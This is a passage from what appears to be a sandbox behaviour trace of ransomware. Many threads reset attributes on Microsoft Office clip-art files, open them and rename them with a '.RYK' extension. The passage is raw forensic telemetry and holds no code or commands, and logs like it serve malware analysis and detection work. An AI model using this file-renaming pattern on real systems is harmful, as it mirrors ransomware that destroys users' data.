	[0277.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157763.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.169] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.169] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157763.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157763.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3822
	os_tid = 0x4144

	[0276.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF", dwFileAttributes=0x80) returned 0
	[0277.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157995.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.170] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.170] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157995.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157995.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3823
	os_tid = 0x4148

	[0276.942] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF", dwFileAttributes=0x80) returned 0
	[0277.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0158007.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.172] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.172] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0158007.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0158007.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3824
	os_tid = 0x414c

	[0276.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF", dwFileAttributes=0x80) returned 0
	[0277.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183168.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.173] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.173] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183168.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183168.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3825
	os_tid = 0x4150

	[0276.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF", dwFileAttributes=0x80) returned 0
	[0277.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183290.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.174] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.175] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183290.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183290.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3826
	os_tid = 0x4154

	[0276.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF", dwFileAttributes=0x80) returned 0
	[0277.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.176] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.176] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183328.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183328.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3827
	os_tid = 0x4158

	[0276.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF", dwFileAttributes=0x80) returned 0
	[0277.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0185604.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.177] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.177] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0185604.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0185604.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3828
	os_tid = 0x415c

	[0276.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF", dwFileAttributes=0x80) returned 0
	[0277.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186002.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.179] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.179] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186002.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186002.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3829
	os_tid = 0x4160

	[0276.948] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF", dwFileAttributes=0x80) returned 0
	[0277.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186348.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.180] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.180] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186348.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186348.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3830
	os_tid = 0x4164

	[0276.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF", dwFileAttributes=0x80) returned 0
	[0277.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0187423.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.181] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.181] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0187423.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0187423.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3831
	os_tid = 0x4168

	[0277.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195384.WMF", dwFileAttributes=0x80) returned 0
	[0277.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195384.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.183] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.183] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195384.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195384.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195384.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195384.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3832
	os_tid = 0x416c

	[0277.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195534.WMF", dwFileAttributes=0x80) returned 0
	[0277.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195534.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195534.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.462] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.462] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195534.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195534.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195534.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195534.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3833
	os_tid = 0x4170

	[0277.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195812.WMF", dwFileAttributes=0x80) returned 0
	[0277.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195812.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195812.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.463] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.463] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195812.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195812.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195812.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195812.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3834
	os_tid = 0x4174

	[0277.187] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196164.WMF", dwFileAttributes=0x80) returned 0
	[0277.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196164.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196164.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.464] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.465] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196164.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196164.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196164.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196164.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3835
	os_tid = 0x4178

	[0277.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196374.WMF", dwFileAttributes=0x80) returned 0
	[0277.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196374.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196374.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.466] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.466] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196374.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196374.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196374.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196374.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3836
	os_tid = 0x417c

	[0277.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196400.WMF", dwFileAttributes=0x80) returned 0
	[0277.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196400.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196400.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.467] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.467] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196400.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196400.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196400.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196400.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3837
	os_tid = 0x4180

	[0277.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199036.WMF", dwFileAttributes=0x80) returned 0
	[0277.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199036.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199036.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.469] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.469] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199036.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199036.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199036.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199036.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3838
	os_tid = 0x4184

	[0277.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199283.WMF", dwFileAttributes=0x80) returned 0
	[0277.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199283.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199283.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.470] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.470] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199283.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199283.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199283.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199283.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3839
	os_tid = 0x4188

	[0277.192] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199549.WMF", dwFileAttributes=0x80) returned 0
	[0277.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199549.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199549.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.472] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.472] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199549.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199549.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199549.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199549.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3840
	os_tid = 0x418c

	[0277.193] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199661.WMF", dwFileAttributes=0x80) returned 0
	[0277.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199661.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199661.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.474] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.474] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199661.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199661.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199661.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199661.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3841
	os_tid = 0x4190

	[0277.194] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199727.WMF", dwFileAttributes=0x80) returned 0
	[0277.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199727.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199727.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.475] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.475] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199727.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199727.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199727.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199727.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3842
	os_tid = 0x4194

	[0277.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199755.WMF", dwFileAttributes=0x80) returned 0
	[0277.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199755.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199755.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.477] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.477] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199755.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199755.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199755.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199755.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3843
	os_tid = 0x4198

	[0277.196] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199805.WMF", dwFileAttributes=0x80) returned 0
	[0277.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199805.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199805.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.478] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.478] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199805.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199805.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199805.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199805.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3844
	os_tid = 0x419c

	[0277.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205462.WMF", dwFileAttributes=0x80) returned 0
	[0277.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205462.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205462.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.867] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.867] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205462.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205462.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205462.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205462.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3845
	os_tid = 0x41a0

	[0277.480] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205466.WMF", dwFileAttributes=0x80) returned 0
	[0277.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205466.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205466.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.868] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.869] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205466.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205466.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205466.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205466.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3846
	os_tid = 0x41a4

	[0277.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205582.WMF", dwFileAttributes=0x80) returned 0
	[0277.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205582.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205582.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.870] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.870] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205582.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205582.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205582.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205582.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3847
	os_tid = 0x41a8

	[0277.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0211949.WMF", dwFileAttributes=0x80) returned 0
